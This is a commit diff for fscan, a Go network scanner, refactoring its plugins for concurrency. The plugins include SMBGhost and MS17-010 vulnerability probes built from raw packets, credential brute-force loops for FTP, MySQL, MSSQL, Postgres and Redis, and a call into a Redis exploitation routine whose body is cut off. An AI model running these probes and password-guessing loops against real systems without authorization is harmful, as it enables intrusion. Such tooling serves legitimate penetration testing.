已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试

# Conflicts:
#	README.md

Plugins/CVE-2020-0796.go

@@ -4,6 +4,7 @@ import (
 	"bytes"
 	"fmt"
 	"net"
+	"sync"
 	"time"
 
 	"github.com/shadow1ng/fscan/common"
@@ -95,33 +96,31 @@ const (
 		"\x00\x00\x00\x00"
 )
 
-func SmbGhost(info *common.HostInfo) error {
-	err := SmbGhostScan(info)
-	return err
+func SmbGhost(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+	SmbGhostScan(info)
+	wg.Done()
+	<-ch
 }
 
-func SmbGhostScan(info *common.HostInfo) error {
+func SmbGhostScan(info *common.HostInfo) {
 	ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
 	addr := fmt.Sprintf("%s:%d", info.Host, port)
 	conn, err := net.DialTimeout("tcp", addr, timeout)
 	if err != nil {
-		return err
+		return
+	} else {
+		conn.Write([]byte(pkt))
+		buff := make([]byte, 1024)
+		err = conn.SetReadDeadline(time.Now().Add(timeout))
+		n, err := conn.Read(buff)
+		if err != nil {
+			return
+		} else {
+			defer conn.Close()
+			if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
+				result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
+				common.LogSuccess(result)
+			}
+		}
 	}
-	_, err = conn.Write([]byte(pkt))
-	if err != nil {
-		return err
-	}
-	buff := make([]byte, 1024)
-	err = conn.SetReadDeadline(time.Now().Add(timeout))
-	n, err := conn.Read(buff)
-	if err != nil {
-		return err
-	}
-	defer conn.Close()
-	if bytes.Contains(buff[:n], []byte("Public")) == true {
-		result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
-		common.LogSuccess(result)
-
-	}
-	return err
 }

Plugins/elasticsearch.go

@@ -1,39 +1,36 @@
 package Plugins
 
 import (
-	"crypto/tls"
 	"fmt"
 	"io/ioutil"
 	"net"
 	"net/http"
 	"strings"
+	"sync"
 	"time"
 
 	"github.com/shadow1ng/fscan/common"
 )
 
-func elasticsearchScan(info *common.HostInfo) error {
-	_, err := geturl2(info)
-	return err
+func elasticsearchScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+	geturl2(info)
+	wg.Done()
+	<-ch
 }
 
 func geturl2(info *common.HostInfo) (flag bool, err error) {
 	flag = false
 	url := fmt.Sprintf("%s:%d/_cat", info.Url, common.PORTList["elastic"])
 	var client = &http.Client{
-		Timeout: time.Duration(info.WebTimeout) * time.Second,
 		Transport: &http.Transport{
-			TLSClientConfig:   &tls.Config{InsecureSkipVerify: true},
-			DisableKeepAlives: false,
 			DialContext: (&net.Dialer{
-				Timeout: time.Duration(info.WebTimeout) * time.Second,
+				Timeout: time.Duration(info.Timeout) * time.Second,
 			}).DialContext,
 		},
 		CheckRedirect: func(req *http.Request, via []*http.Request) error {
 			return http.ErrUseLastResponse
 		},
 	}
-
 	res, err := http.NewRequest("GET", url, nil)
 	if err == nil {
 		res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")

Plugins/findnet.go

@@ -2,68 +2,63 @@ package Plugins
 
 import (
 	"bytes"
-	"encoding/hex"
-	"fmt"
-	"github.com/shadow1ng/fscan/common"
 	"net"
 	"strings"
 	"time"
+
+	//"encoding/binary"
+	"encoding/hex"
+	"fmt"
+	"sync"
+
+	"github.com/shadow1ng/fscan/common"
 )
 
 var (
-	bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
-	bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
-	bufferV3, _ = hex.DecodeString("0900ffff0000")
+	buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
+	buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
+	buffer_v3, _ = hex.DecodeString("0900ffff0000")
 )
 
-func Findnet(info *common.HostInfo) error {
-	err := FindnetScan(info)
-	return err
+func Findnet(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+	FindnetScan(info)
+	wg.Done()
+	<-ch
 }
 
-func FindnetScan(info *common.HostInfo) error {
+func FindnetScan(info *common.HostInfo) {
 	realhost := fmt.Sprintf("%s:%d", info.Host, 135)
 	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
 	if err != nil {
-		return err
-	}
-	err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
-	if err != nil {
-		return err
+		return
 	}
+	conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
 	defer conn.Close()
-	_, err = conn.Write(bufferV1)
-	if err != nil {
-		return err
-	}
+	conn.Write(buffer_v1)
 	reply := make([]byte, 4096)
 	_, err = conn.Read(reply)
 	if err != nil {
-		return err
-	}
-	_, err = conn.Write(bufferV2)
-	if err != nil {
-		return err
+		return
 	}
+	conn.Write(buffer_v2)
 	if n, err := conn.Read(reply); err != nil || n < 42 {
-		return err
+		return
 	}
 	text := reply[42:]
 	flag := true
 	for i := 0; i < len(text)-5; i++ {
-		if bytes.Equal(text[i:i+6], bufferV3) {
+		if bytes.Equal(text[i:i+6], buffer_v3) {
 			text = text[:i-4]
 			flag = false
 			break
 		}
 	}
 	if flag {
-		return err
+		return
 	}
-	err = read(text, info.Host)
-	return err
+	read(text, info.Host)
 }
-func read(text []byte, host string) error {
+func read(text []byte, host string) {
 	encodedStr := hex.EncodeToString(text)
 	hostnames := strings.Replace(encodedStr, "0700", "", -1)
 	hostname := strings.Split(hostnames, "000000")
@@ -72,10 +67,9 @@ func read(text []byte, host string) error {
 		hostname[i] = strings.Replace(hostname[i], "00", "", -1)
 		host, err := hex.DecodeString(hostname[i])
 		if err != nil {
-			return err
+			return
 		}
 		result += "\n   [->]" + string(host)
 	}
 	common.LogSuccess(result)
-	return nil
 }

Plugins/ftp.go

@@ -2,27 +2,27 @@ package Plugins
 
 import (
 	"fmt"
+	"strings"
+	"sync"
+	"time"
+
 	"github.com/jlaffaye/ftp"
 	"github.com/shadow1ng/fscan/common"
-	"strings"
-	"time"
 )
 
-func FtpScan(info *common.HostInfo) (tmperr error) {
+func FtpScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+Loop:
 	for _, user := range common.Userdict["ftp"] {
 		for _, pass := range common.Passwords {
-			pass = strings.Replace(pass, "{user}", user, -1)
+			pass = strings.Replace(pass, "{user}", string(user), -1)
 			flag, err := FtpConn(info, user, pass)
 			if flag == true && err == nil {
-				return err
-			} else {
-				errlog := fmt.Sprintf("[-] ftp %v %v %v %v %v", info.Host, common.PORTList["ftp"], user, pass, err)
-				common.LogError(errlog)
-				tmperr = err
+				break Loop
 			}
 		}
 	}
-	return tmperr
+	wg.Done()
+	<-ch
 }
 
 func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
@@ -32,25 +32,10 @@ func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err er
 	if err == nil {
 		err = conn.Login(Username, Password)
 		if err == nil {
-			flag = true
+			defer conn.Logout()
 			result := fmt.Sprintf("FTP:%v:%v:%v %v", Host, Port, Username, Password)
-			dirs, err := conn.List("")
-			//defer conn.Logout()
-			if err == nil {
-				if len(dirs) > 0 {
-					for i := 0; i < len(dirs); i++ {
-						if len(dirs[i].Name) > 50 {
-							result += "\n   [->]" + dirs[i].Name[:50]
-						} else {
-							result += "\n   [->]" + dirs[i].Name
-						}
-						if i == 5 {
-							break
-						}
-					}
-				}
-			}
 			common.LogSuccess(result)
+			flag = true
 		}
 	}
 	return flag, err

Plugins/icmp.go

@@ -3,8 +3,6 @@ package Plugins
 import (
 	"bytes"
 	"fmt"
-	"golang.org/x/net/icmp"
-	"log"
 	"net"
 	"os"
 	"os/exec"
@@ -20,84 +18,86 @@ var AliveHosts []string
 var SysInfo = GetSys()
 
 type SystemInfo struct {
-	OS       string
-	HostName string
-	Groupid  string
-	Userid   string
-	Username string
+	OS          string
+	ARCH        string
+	HostName    string
+	Groupid     string
+	Userid      string
+	Username    string
+	UserHomeDir string
 }
 
 func GetSys() SystemInfo {
 	var sysinfo SystemInfo
 
 	sysinfo.OS = runtime.GOOS
+	sysinfo.ARCH = runtime.GOARCH
 	name, err := os.Hostname()
 	if err == nil {
 		sysinfo.HostName = name
-	} else {
-		name = "none"
 	}
 
 	u, err := user.Current()
-	if err == nil {
-		sysinfo.Groupid = u.Gid
-		sysinfo.Userid = u.Uid
-		sysinfo.Username = u.Username
-	} else {
-		sysinfo.Groupid = "1"
-		sysinfo.Userid = "1"
-		sysinfo.Username = name
-	}
+	sysinfo.Groupid = u.Gid
+	sysinfo.Userid = u.Uid
+	sysinfo.Username = u.Username
+	sysinfo.UserHomeDir = u.HomeDir
 
 	return sysinfo
 }
 
-func IcmpCheck(hostslist []string) {
-	conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
-	endflag := false
+func isping(ip string) bool {
+	IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
+	Time, _ := time.ParseDuration("3s")
+	conn, err := net.DialTimeout("ip4:icmp", ip, Time)
 	if err != nil {
-		log.Fatal(err)
+		return false
+	}
+	defer conn.Close()
+	_, err = conn.Write(IcmpByte)
+	if err != nil {
+		return false
 	}
-	var chanHosts = make(chan string)
-	go func() {
-		for {
-			if endflag == true {
-				return
-			}
-			msg := make([]byte, 100)
-			_, sourceIP, _ := conn.ReadFrom(msg)
-			if sourceIP != nil {
-				chanHosts <- sourceIP.String()
-			}
-		}
-	}()
 
-	go func() {
-		for ip := range chanHosts {
-			if !IsContain(AliveHosts, ip) {
-				fmt.Printf("(icmp) Target '%s' is alive\n", ip)
-				AliveHosts = append(AliveHosts, ip)
-			}
-		}
-	}()
+	if err := conn.SetReadDeadline(time.Now().Add(time.Second * 3)); err != nil {
+		return false
+	}
 
-	for _, host := range hostslist {
-		write(host, conn)
+	recvBuf := make([]byte, 40)
+	num, err := conn.Read(recvBuf[0:40])
+	if err != nil {
+		return false
 	}
-	if len(hostslist) > 10 {
-		time.Sleep(6 * time.Second)
-	} else {
-		time.Sleep(3 * time.Second)
+	if err := conn.SetReadDeadline(time.Time{}); err != nil {
+		return false
 	}
-	endflag = true
-	close(chanHosts)
-	conn.Close()
+	if string(recvBuf[0:num]) != "" {
+		fmt.Printf("(ICMP) Target '%s' is alive\n", ip)
+		return true
+	}
+	return false
+
 }
 
-func write(ip string, conn *icmp.PacketConn) {
-	dst, _ := net.ResolveIPAddr("ip", ip)
-	IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
-	conn.WriteTo(IcmpByte, dst)
+func IcmpCheck(hostslist []string, IcmpThreads int) {
+	var wg sync.WaitGroup
+	mutex := &sync.Mutex{}
+	limiter := make(chan struct{}, IcmpThreads)
+	for _, host := range hostslist {
+		wg.Add(1)
+		limiter <- struct{}{}
+		go func(host string) {
+			defer wg.Done()
+			if isping(host) {
+				mutex.Lock()
+				AliveHosts = append(AliveHosts, host)
+				mutex.Unlock()
+			}
+			<-limiter
+		}(host)
+
+	}
+	wg.Wait()
 }
 
 func ExecCommandPing(ip string, bsenv string) bool {
@@ -129,7 +129,7 @@ func ExecCommandPing(ip string, bsenv string) bool {
 func PingCMDcheck(hostslist []string, bsenv string) {
 	var wg sync.WaitGroup
 	mutex := &sync.Mutex{}
-	limiter := make(chan struct{}, 50)
+	limiter := make(chan struct{}, 40)
 	for _, host := range hostslist {
 		wg.Add(1)
 		limiter <- struct{}{}
@@ -146,17 +146,18 @@ func PingCMDcheck(hostslist []string, bsenv string) {
 	}
 	wg.Wait()
 }
-func ICMPRun(hostslist []string, Ping bool) []string {
+func ICMPRun(hostslist []string, IcmpThreads int, Ping bool) []string {
+
 	if SysInfo.OS == "windows" {
 		if Ping == false {
-			IcmpCheck(hostslist)
+			IcmpCheck(hostslist, IcmpThreads)
 		} else {
 			PingCMDcheck(hostslist, "")
 		}
 	} else if SysInfo.OS == "linux" {
 		if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
 			if Ping == false {
-				IcmpCheck(hostslist)
+				IcmpCheck(hostslist, IcmpThreads)
 			} else {
 				PingCMDcheck(hostslist, "/bin/bash")
 			}
@@ -168,7 +169,7 @@ func ICMPRun(hostslist []string, Ping bool) []string {
 	} else if SysInfo.OS == "darwin" {
 		if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
 			if Ping == false {
-				IcmpCheck(hostslist)
+				IcmpCheck(hostslist, IcmpThreads)
 			} else {
 				PingCMDcheck(hostslist, "/bin/bash")
 			}

Plugins/memcached.go

@@ -2,13 +2,15 @@ package Plugins
 
 import (
 	"fmt"
-	"github.com/shadow1ng/fscan/common"
 	"net"
 	"strings"
+	"sync"
 	"time"
+
+	"github.com/shadow1ng/fscan/common"
 )
 
-func MemcachedScan(info *common.HostInfo) (err error, result string) {
+func MemcachedScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) (err error, result string) {
 	realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mem"])
 	client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
 	if err == nil {
@@ -24,5 +26,7 @@ func MemcachedScan(info *common.HostInfo) (err error, result string) {
 			}
 		}
 	}
+	wg.Done()
+	<-ch
 	return err, result
 }

Plugins/mongodb.go

@@ -2,32 +2,32 @@ package Plugins
 
 import (
 	"fmt"
-	_ "github.com/denisenkom/go-mssqldb"
-	"github.com/shadow1ng/fscan/common"
 	"net"
 	"strings"
+	"sync"
 	"time"
+
+	_ "github.com/denisenkom/go-mssqldb"
+	"github.com/shadow1ng/fscan/common"
 )
 
-func MongodbScan(info *common.HostInfo) error {
-	_, err := MongodbUnauth(info)
-	return err
+func MongodbScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+	MongodbUnauth(info)
+	wg.Done()
+	<-ch
 }
 
 func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
 	flag = false
-	senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
-	getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
+	send_data := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
+	getlog_data := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
 	realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mgo"])
 	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
 	if err != nil {
-		return flag, err
+		return
 	}
 	defer conn.Close()
-	_, err = conn.Write(senddata)
-	if err != nil {
-		return flag, err
-	}
+	conn.Write(send_data)
 	buf := make([]byte, 1024)
 	count, err := conn.Read(buf)
 	if err != nil {
@@ -35,10 +35,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
 	}
 	text := string(buf[0:count])
 	if strings.Contains(text, "ismaster") {
-		_, err = conn.Write(getlogdata)
-		if err != nil {
-			return flag, err
-		}
+		conn.Write(getlog_data)
 		count, err := conn.Read(buf)
 		if err != nil {
 			return flag, err

Plugins/ms17017.go

@@ -3,11 +3,11 @@ package Plugins
 import (
 	"encoding/binary"
 	"encoding/hex"
-	"errors"
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
 	"net"
 	"strings"
+	"sync"
 	"time"
 )
 
@@ -19,55 +19,47 @@ var (
 	trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
 )
 
-func MS17010(info *common.HostInfo) error {
-	err := MS17010Scan(info)
-	return err
+func MS17010(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+	MS17010Scan(info)
+	wg.Done()
+	<-ch
 }
 
-func MS17010Scan(info *common.HostInfo) error {
+func MS17010Scan(info *common.HostInfo) {
 
 	ip := info.Host
 	// connecting to a host in LAN if reachable should be very quick
 	conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
 	if err != nil {
 		//fmt.Printf("failed to connect to %s\n", ip)
-		return err
+		return
 	}
 	defer conn.Close()
-	err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
-	if err != nil {
-		//fmt.Printf("failed to connect to %s\n", ip)
-		return err
-	}
-	_, err = conn.Write(negotiateProtocolRequest)
-	if err != nil {
-		return err
-	}
+
+	conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
+	conn.Write(negotiateProtocolRequest)
 	reply := make([]byte, 1024)
 	// let alone half packet
 	if n, err := conn.Read(reply); err != nil || n < 36 {
-		return err
+		return
 	}
 
 	if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
 		// status != 0
-		return err
+		return
 	}
 
-	_, err = conn.Write(sessionSetupRequest)
-	if err != nil {
-		return err
-	}
+	conn.Write(sessionSetupRequest)
+
 	n, err := conn.Read(reply)
 	if err != nil || n < 36 {
-		return err
+		return
 	}
 
 	if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
 		// status != 0
 		//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
-		var Err = errors.New("can't determine whether target is vulnerable or not")
-		return Err
+		return
 	}
 
 	// extract OS info
@@ -94,12 +86,10 @@ func MS17010Scan(info *common.HostInfo) error {
 	treeConnectRequest[32] = userID[0]
 	treeConnectRequest[33] = userID[1]
 	// TODO change the ip in tree path though it doesn't matter
-	_, err = conn.Write(treeConnectRequest)
-	if err != nil {
-		return err
-	}
+	conn.Write(treeConnectRequest)
+
 	if n, err := conn.Read(reply); err != nil || n < 36 {
-		return err
+		return
 	}
 
 	treeID := reply[28:30]
@@ -108,12 +98,9 @@ func MS17010Scan(info *common.HostInfo) error {
 	transNamedPipeRequest[32] = userID[0]
 	transNamedPipeRequest[33] = userID[1]
 
-	_, err = conn.Write(transNamedPipeRequest)
-	if err != nil {
-		return err
-	}
+	conn.Write(transNamedPipeRequest)
 	if n, err := conn.Read(reply); err != nil || n < 36 {
-		return err
+		return
 	}
 
 	if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
@@ -128,12 +115,10 @@ func MS17010Scan(info *common.HostInfo) error {
 		trans2SessionSetupRequest[32] = userID[0]
 		trans2SessionSetupRequest[33] = userID[1]
 
-		_, err = conn.Write(trans2SessionSetupRequest)
-		if err != nil {
-			return err
-		}
+		conn.Write(trans2SessionSetupRequest)
+
 		if n, err := conn.Read(reply); err != nil || n < 36 {
-			return err
+			return
 		}
 
 		if reply[34] == 0x51 {
@@ -146,6 +131,5 @@ func MS17010Scan(info *common.HostInfo) error {
 		result := fmt.Sprintf("%s  (%s)", ip, os)
 		common.LogSuccess(result)
 	}
-	return err
 
 }

Plugins/mssql.go

@@ -6,24 +6,23 @@ import (
 	_ "github.com/denisenkom/go-mssqldb"
 	"github.com/shadow1ng/fscan/common"
 	"strings"
+	"sync"
 	"time"
 )
 
-func MssqlScan(info *common.HostInfo) (tmperr error) {
+func MssqlScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+Loop:
 	for _, user := range common.Userdict["mssql"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", user, -1)
 			flag, err := MssqlConn(info, user, pass)
 			if flag == true && err == nil {
-				return err
-			} else {
-				errlog := fmt.Sprintf("[-] mssql %v %v %v %v %v", info.Host, common.PORTList["mssql"], user, pass, err)
-				common.LogError(errlog)
-				tmperr = err
+				break Loop
 			}
 		}
 	}
-	return tmperr
+	wg.Done()
+	<-ch
 }
 
 func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
@@ -33,8 +32,6 @@ func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err
 	db, err := sql.Open("mssql", dataSourceName)
 	if err == nil {
 		db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
-		db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
-		db.SetMaxIdleConns(0)
 		defer db.Close()
 		err = db.Ping()
 		if err == nil {

Plugins/mysql.go

@@ -3,27 +3,27 @@ package Plugins
 import (
 	"database/sql"
 	"fmt"
+	"strings"
+	"sync"
+	"time"
+
 	_ "github.com/go-sql-driver/mysql"
 	"github.com/shadow1ng/fscan/common"
-	"strings"
-	"time"
 )
 
-func MysqlScan(info *common.HostInfo) (tmperr error) {
+func MysqlScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+Loop:
 	for _, user := range common.Userdict["mysql"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", user, -1)
 			flag, err := MysqlConn(info, user, pass)
 			if flag == true && err == nil {
-				return err
-			} else {
-				errlog := fmt.Sprintf("[-] mysql %v %v %v %v %v", info.Host, common.PORTList["mysql"], user, pass, err)
-				common.LogError(errlog)
-				tmperr = err
+				break Loop
 			}
 		}
 	}
-	return tmperr
+	wg.Done()
+	<-ch
 }
 
 func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
@@ -31,10 +31,8 @@ func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err
 	Host, Port, Username, Password := info.Host, common.PORTList["mysql"], user, pass
 	dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host, Port, "mysql")
 	db, err := sql.Open("mysql", dataSourceName)
+	db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
 	if err == nil {
-		db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
-		db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
-		db.SetMaxIdleConns(0)
 		defer db.Close()
 		err = db.Ping()
 		if err == nil {

Plugins/portscan.go

@@ -4,16 +4,42 @@ import (
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
 	"net"
+	"sort"
 	"strconv"
+	"strings"
 	"sync"
 	"time"
 )
 
-func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, adjustedTimeout int64) {
+func ParsePort(ports string) []int {
+	var scanPorts []int
+	slices := strings.Split(ports, ",")
+	for _, port := range slices {
+		port = strings.Trim(port, " ")
+		upper := port
+		if strings.Contains(port, "-") {
+			ranges := strings.Split(port, "-")
+			if len(ranges) < 2 {
+				continue
+			}
+			sort.Strings(ranges)
+			port = ranges[0]
+			upper = ranges[1]
+		}
+		start, _ := strconv.Atoi(port)
+		end, _ := strconv.Atoi(upper)
+		for i := start; i <= end; i++ {
+			scanPorts = append(scanPorts, i)
+		}
+	}
+	return scanPorts
+}
+
+func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, adjustedTimeout int) {
 	for port := range ports {
 		con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout)*time.Second)
 		if err == nil {
-			con.Close()
+			defer con.Close()
 			address := host + ":" + strconv.Itoa(port)
 			result := fmt.Sprintf("%s open", address)
 			common.LogSuccess(result)
@@ -23,9 +49,9 @@ func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, do
 	done <- true
 }
 
-func ScanAllports(address string, probePorts []int, threads int, adjustedTimeout int64) ([]string, error) {
+func ScanAllports(address string, probePorts []int, threads int, adjustedTimeout int) ([]string, error) {
 	ports := make(chan int, 20)
-	results := make(chan string)
+	results := make(chan string, 10)
 	done := make(chan bool, threads)
 
 	for worker := 0; worker < threads; worker++ {
@@ -51,9 +77,10 @@ func ScanAllports(address string, probePorts []int, threads int, adjustedTimeout
 	}
 }
 
-func TCPportScan(hostslist []string, ports string, timeout int64) []string {
+func TCPportScan(hostslist []string, ports string, timeout int) ([]string, []string) {
 	var AliveAddress []string
-	probePorts := common.ParsePort(ports)
+	var aliveHosts []string
+	probePorts := ParsePort(ports)
 	lm := 20
 	if len(hostslist) > 5 && len(hostslist) <= 50 {
 		lm = 40
@@ -67,7 +94,7 @@ func TCPportScan(hostslist []string, ports string, timeout int64) []string {
 		lm = 75
 	}
 
-	thread := 10
+	thread := 5
 	if len(probePorts) > 500 && len(probePorts) <= 4000 {
 		thread = len(probePorts) / 100
 	} else if len(probePorts) > 4000 && len(probePorts) <= 6000 {
@@ -90,12 +117,15 @@ func TCPportScan(hostslist []string, ports string, timeout int64) []string {
 			defer wg.Done()
 			if aliveAdd, err := ScanAllports(host, probePorts, thread, timeout); err == nil && len(aliveAdd) > 0 {
 				mutex.Lock()
-				AliveAddress = append(AliveAddress, aliveAdd...)
+				aliveHosts = append(aliveHosts, host)
+				for _, addr := range aliveAdd {
+					AliveAddress = append(AliveAddress, addr)
+				}
 				mutex.Unlock()
 			}
 			<-limiter
 		}(host)
 	}
 	wg.Wait()
-	return AliveAddress
+	return aliveHosts, AliveAddress
 }

Plugins/postgres.go

@@ -3,27 +3,27 @@ package Plugins
 import (
 	"database/sql"
 	"fmt"
+	"strings"
+	"sync"
+	"time"
+
 	_ "github.com/lib/pq"
 	"github.com/shadow1ng/fscan/common"
-	"strings"
-	"time"
 )
 
-func PostgresScan(info *common.HostInfo) (tmperr error) {
+func PostgresScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+Loop:
 	for _, user := range common.Userdict["postgresql"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", string(user), -1)
 			flag, err := PostgresConn(info, user, pass)
 			if flag == true && err == nil {
-				return err
-			} else {
-				errlog := fmt.Sprintf("[-] psql %v %v %v %v %v", info.Host, common.PORTList["psql"], user, pass, err)
-				common.LogError(errlog)
-				tmperr = err
+				break Loop
 			}
 		}
 	}
-	return tmperr
+	wg.Done()
+	<-ch
 }
 
 func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {

Plugins/redis.go

@@ -7,26 +7,28 @@ import (
 	"net"
 	"os"
 	"strings"
+	"sync"
 	"time"
 )
 
-func RedisScan(info *common.HostInfo) (tmperr error) {
+func RedisScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
 	flag, err := RedisUnauth(info)
 	if flag == true && err == nil {
-		return err
+		wg.Done()
+		<-ch
+		return
 	}
+
+Loop:
 	for _, pass := range common.Passwords {
-		pass = strings.Replace(pass, "{user}", "redis", -1)
+		pass = strings.Replace(pass, "{user}", string("redis"), -1)
 		flag, err := RedisConn(info, pass)
 		if flag == true && err == nil {
-			return err
-		} else {
-			errlog := fmt.Sprintf("[-] redis %v %v %v %v %v", info.Host, common.PORTList["redis"], pass, err)
-			common.LogError(errlog)
-			tmperr = err
+			break Loop
 		}
 	}
-	return tmperr
+	wg.Done()
+	<-ch
 }
 
 func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
@@ -37,19 +39,14 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
 		return flag, err
 	}
 	defer conn.Close()
-	_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
-	if err != nil {
-		return flag, err
-	}
+	conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
 	reply, err := readreply(conn)
-	if err != nil {
-		return flag, err
-	}
 	if strings.Contains(reply, "+OK") {
 		result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
 		common.LogSuccess(result)
 		flag = true
-		Expoilt(realhost, conn)
+		Expoilt(info, realhost, conn)
+
 	}
 	return flag, err
 }
@@ -62,37 +59,24 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
 		return flag, err
 	}
 	defer conn.Close()
-	_, err = conn.Write([]byte("info\r\n"))
-	if err != nil {
-		return flag, err
-	}
+	conn.Write([]byte("info\r\n"))
 	reply, err := readreply(conn)
-	if err != nil {
-		return flag, err
-	}
 	if strings.Contains(reply, "redis_version") {
 		result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
 		common.LogSuccess(result)
 		flag = true
-		Expoilt(realhost, conn)
+		Expoilt(info, realhost, conn)
 	}
 	return flag, err
 }
 
-func Expoilt(realhost string, conn net.Conn) error {
-	flagSsh, flagCron, err := testwrite(conn)
-	if err != nil {
-		return err
